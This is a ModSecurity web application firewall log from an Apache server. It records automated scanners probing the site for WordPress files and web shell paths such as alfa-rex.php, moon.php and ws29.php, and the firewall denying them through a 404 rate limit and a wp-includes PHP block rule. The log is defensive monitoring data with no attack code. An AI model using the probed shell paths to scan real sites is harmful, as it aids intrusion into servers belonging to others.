[Thu Feb 26 22:24:01.789019 2026] [:error] [pid 20419:tid 20444] [client 20.151.107.14:62892] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa-rex.php"] [unique_id "aaBXge3DVDvMfTYYUBVn6gAAAdY"]
[Thu Feb 26 22:24:02.295495 2026] [:error] [pid 55122:tid 55141] [client 20.151.107.14:63514] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa-rex.php"] [unique_id "aaBXgoLiR0OfjFxvcN82IQAAANE"]
[Thu Feb 26 22:24:02.761797 2026] [:error] [pid 44444:tid 44462] [client 20.151.107.14:62931] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa-rex.php"] [unique_id "aaBXgm2sMNmj-yekUk1MmQAAAgw"]
[Thu Feb 26 22:24:03.286693 2026] [:error] [pid 55618:tid 55628] [client 20.151.107.14:62959] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/xmrlpc.php"] [unique_id "aaBXgx61Vrh12f_8oWQUUQAAAQc"]
[Thu Feb 26 22:24:03.819246 2026] [:error] [pid 55618:tid 55623] [client 20.151.107.14:62866] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/xmrlpc.php"] [unique_id "aaBXgx61Vrh12f_8oWQUVAAAAQI"]
[Thu Feb 26 22:24:04.399810 2026] [:error] [pid 44444:tid 44457] [client 20.151.107.14:62887] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/xmrlpc.php"] [unique_id "aaBXhG2sMNmj-yekUk1MnAAAAgc"]
[Thu Feb 26 22:24:04.988605 2026] [:error] [pid 44444:tid 44466] [client 20.151.107.14:62895] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/xmrlpc.php"] [unique_id "aaBXhG2sMNmj-yekUk1MpAAAAhA"]
[Thu Feb 26 22:24:05.739925 2026] [:error] [pid 55122:tid 55131] [client 20.151.107.14:64153] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aaBXhYLiR0OfjFxvcN82JwAAAMc"]
[Thu Feb 26 22:24:06.360197 2026] [:error] [pid 55122:tid 55140] [client 20.151.107.14:61423] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aaBXhoLiR0OfjFxvcN82KgAAANA"]
[Thu Feb 26 22:24:07.101253 2026] [:error] [pid 44444:tid 44467] [client 20.151.107.14:63567] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aaBXh22sMNmj-yekUk1MpwAAAhE"]
[Thu Feb 26 22:24:07.726622 2026] [:error] [pid 20419:tid 20445] [client 20.151.107.14:64227] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aaBXh-3DVDvMfTYYUBVoAAAAAdc"]
[Thu Feb 26 22:24:08.547445 2026] [:error] [pid 54990:tid 54994] [client 20.151.107.14:63588] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog-header.php"] [unique_id "aaBXiHtr2qmt_mBhH2wvLQAAAAE"]
[Thu Feb 26 22:24:09.213865 2026] [:error] [pid 54991:tid 55037] [client 20.151.107.14:62919] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog-header.php"] [unique_id "aaBXid4Zx-mJ8gbRB2j9lQAAAFE"]
[Thu Feb 26 22:24:09.713764 2026] [:error] [pid 54991:tid 55031] [client 20.151.107.14:64156] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog-header.php"] [unique_id "aaBXid4Zx-mJ8gbRB2j9lgAAAEs"]
[Thu Feb 26 22:24:10.151808 2026] [:error] [pid 54991:tid 55024] [client 20.151.107.14:62921] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog-header.php"] [unique_id "aaBXit4Zx-mJ8gbRB2j9mQAAAEQ"]
[Thu Feb 26 22:24:10.619382 2026] [:error] [pid 44444:tid 44456] [client 20.151.107.14:62917] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-cron.php"] [unique_id "aaBXim2sMNmj-yekUk1MqwAAAgY"]
[Thu Feb 26 22:24:11.138492 2026] [:error] [pid 54990:tid 55015] [client 20.151.107.14:63561] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-cron.php"] [unique_id "aaBXi3tr2qmt_mBhH2wvMgAAABY"]
[Thu Feb 26 22:24:11.698141 2026] [:error] [pid 44444:tid 44471] [client 20.151.107.14:62960] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-cron.php"] [unique_id "aaBXi22sMNmj-yekUk1MsAAAAhU"]
[Thu Feb 26 22:24:12.158632 2026] [:error] [pid 54991:tid 55028] [client 20.151.107.14:63528] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-cron.php"] [unique_id "aaBXjN4Zx-mJ8gbRB2j9pgAAAEg"]
[Thu Feb 26 22:24:12.752551 2026] [:error] [pid 55051:tid 55076] [client 20.151.107.14:63495] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aaBXjAmK1w2kZvh5eLHPUAAAAJY"]
[Thu Feb 26 22:24:13.178539 2026] [:error] [pid 55051:tid 55074] [client 20.151.107.14:62850] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aaBXjQmK1w2kZvh5eLHPVAAAAJQ"]
[Thu Feb 26 22:24:13.668772 2026] [:error] [pid 44444:tid 44472] [client 20.151.107.14:63556] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aaBXjW2sMNmj-yekUk1MtgAAAhY"]
[Thu Feb 26 22:24:14.124484 2026] [:error] [pid 44444:tid 44455] [client 20.151.107.14:63549] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aaBXjm2sMNmj-yekUk1MuwAAAgU"]
[Thu Feb 26 22:24:14.735402 2026] [:error] [pid 44444:tid 44453] [client 20.151.107.14:63547] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/news.php"] [unique_id "aaBXjm2sMNmj-yekUk1MwgAAAgM"]
[Thu Feb 26 22:24:15.171007 2026] [:error] [pid 44444:tid 44468] [client 20.151.107.14:62945] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/news.php"] [unique_id "aaBXj22sMNmj-yekUk1MyAAAAhI"]
[Thu Feb 26 22:24:15.603156 2026] [:error] [pid 54991:tid 55040] [client 20.151.107.14:63530] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/news.php"] [unique_id "aaBXj94Zx-mJ8gbRB2j9qQAAAFQ"]
[Thu Feb 26 22:24:16.034993 2026] [:error] [pid 55051:tid 55072] [client 20.151.107.14:62973] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/news.php"] [unique_id "aaBXkAmK1w2kZvh5eLHPXwAAAJI"]
[Thu Feb 26 22:24:16.536261 2026] [:error] [pid 25311:tid 25336] [client 20.151.107.14:62869] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/index.php"] [unique_id "aaBXkNfdM__yZAgJFSvrtAAAAZY"]
[Thu Feb 26 22:24:17.061552 2026] [:error] [pid 54991:tid 55029] [client 20.151.107.14:62956] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1index.php"] [unique_id "aaBXkd4Zx-mJ8gbRB2j9tAAAAEk"]
[Thu Feb 26 22:24:17.546874 2026] [:error] [pid 54991:tid 55041] [client 20.151.107.14:61406] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1index.php"] [unique_id "aaBXkd4Zx-mJ8gbRB2j9uAAAAFU"]
[Thu Feb 26 22:24:17.998628 2026] [:error] [pid 54991:tid 55024] [client 20.151.107.14:62856] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1index.php"] [unique_id "aaBXkd4Zx-mJ8gbRB2j9vgAAAEQ"]
[Thu Feb 26 22:24:18.476298 2026] [:error] [pid 54991:tid 55038] [client 20.151.107.14:64135] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/2023/"] [unique_id "aaBXkt4Zx-mJ8gbRB2j9xAAAAFI"]
[Thu Feb 26 22:24:18.907881 2026] [:error] [pid 44444:tid 44451] [client 20.151.107.14:63593] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/2023/"] [unique_id "aaBXkm2sMNmj-yekUk1M1QAAAgE"]
[Thu Feb 26 22:24:19.395033 2026] [:error] [pid 44444:tid 44460] [client 20.151.107.14:64208] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/2023/"] [unique_id "aaBXk22sMNmj-yekUk1M2AAAAgo"]
[Thu Feb 26 22:24:19.862790 2026] [:error] [pid 44444:tid 44452] [client 20.151.107.14:64206] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/2023/"] [unique_id "aaBXk22sMNmj-yekUk1M3QAAAgI"]
[Thu Feb 26 22:24:20.297877 2026] [:error] [pid 44444:tid 44463] [client 20.151.107.14:63527] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aaBXlG2sMNmj-yekUk1M4AAAAg0"]
[Thu Feb 26 22:24:20.752186 2026] [:error] [pid 44444:tid 44453] [client 20.151.107.14:63587] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aaBXlG2sMNmj-yekUk1M5QAAAgM"]
[Thu Feb 26 22:24:21.327681 2026] [:error] [pid 44444:tid 44468] [client 20.151.107.14:62926] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aaBXlW2sMNmj-yekUk1M7AAAAhI"]
[Thu Feb 26 22:24:22.146696 2026] [:error] [pid 55618:tid 55627] [client 20.151.107.14:63503] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aaBXlh61Vrh12f_8oWQUfgAAAQY"]
[Thu Feb 26 22:24:22.794904 2026] [:error] [pid 55618:tid 55633] [client 20.151.107.14:63491] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/fields/"] [unique_id "aaBXlh61Vrh12f_8oWQUggAAAQw"]
[Thu Feb 26 22:24:23.301070 2026] [:error] [pid 55618:tid 55641] [client 20.151.107.14:62932] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/fields/"] [unique_id "aaBXlx61Vrh12f_8oWQUhwAAARQ"]
[Thu Feb 26 22:24:24.319251 2026] [:error] [pid 44444:tid 44468] [client 20.151.107.14:64201] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/fields/"] [unique_id "aaBXmG2sMNmj-yekUk1M_gAAAhI"]
[Thu Feb 26 22:24:24.862438 2026] [:error] [pid 55122:tid 55131] [client 20.151.107.14:64232] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/fields/"] [unique_id "aaBXmILiR0OfjFxvcN82PQAAAMc"]
[Thu Feb 26 22:24:25.675154 2026] [:error] [pid 44444:tid 44453] [client 20.151.107.14:61377] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aaBXmW2sMNmj-yekUk1NCgAAAgM"]
[Thu Feb 26 22:24:26.140693 2026] [:error] [pid 44444:tid 44457] [client 20.151.107.14:61433] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aaBXmm2sMNmj-yekUk1NEQAAAgc"]
[Thu Feb 26 22:24:26.588185 2026] [:error] [pid 44444:tid 44459] [client 20.151.107.14:64185] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aaBXmm2sMNmj-yekUk1NFgAAAgk"]
[Thu Feb 26 22:24:27.030330 2026] [:error] [pid 54991:tid 55024] [client 20.151.107.14:61438] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aaBXm94Zx-mJ8gbRB2j90wAAAEQ"]
[Thu Feb 26 22:24:27.510000 2026] [:error] [pid 54991:tid 55043] [client 20.151.107.14:62855] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aaBXm94Zx-mJ8gbRB2j91gAAAFc"]
[Thu Feb 26 22:24:28.172973 2026] [:error] [pid 54991:tid 55020] [client 20.151.107.14:62915] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aaBXnN4Zx-mJ8gbRB2j92gAAAEA"]
[Thu Feb 26 22:24:28.291765 2026] [:error] [pid 54991:tid 55029] [client 4.194.131.131:2320] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws29.php"] [unique_id "aaBXnN4Zx-mJ8gbRB2j93AAAAEk"]
[Thu Feb 26 22:24:28.539730 2026] [:error] [pid 54991:tid 55033] [client 4.194.131.131:2318] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws29.php"] [unique_id "aaBXnN4Zx-mJ8gbRB2j93gAAAE0"]
[Thu Feb 26 22:24:28.671183 2026] [:error] [pid 44444:tid 44460] [client 20.151.107.14:64252] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aaBXnG2sMNmj-yekUk1NJgAAAgo"]
[Thu Feb 26 22:24:28.724604 2026] [:error] [pid 44444:tid 44455] [client 4.194.131.131:2819] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws29.php"] [unique_id "aaBXnG2sMNmj-yekUk1NJwAAAgU"]
[Thu Feb 26 22:24:28.983939 2026] [:error] [pid 44444:tid 44471] [client 4.194.131.131:2317] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws29.php"] [unique_id "aaBXnG2sMNmj-yekUk1NKgAAAhU"]
[Thu Feb 26 22:24:29.129093 2026] [:error] [pid 44444:tid 44458] [client 20.151.107.14:62906] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aaBXnW2sMNmj-yekUk1NLQAAAgg"]
[Thu Feb 26 22:24:29.290114 2026] [:error] [pid 44444:tid 44462] [client 4.194.131.131:2340] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oo.php"] [unique_id "aaBXnW2sMNmj-yekUk1NMQAAAgw"]
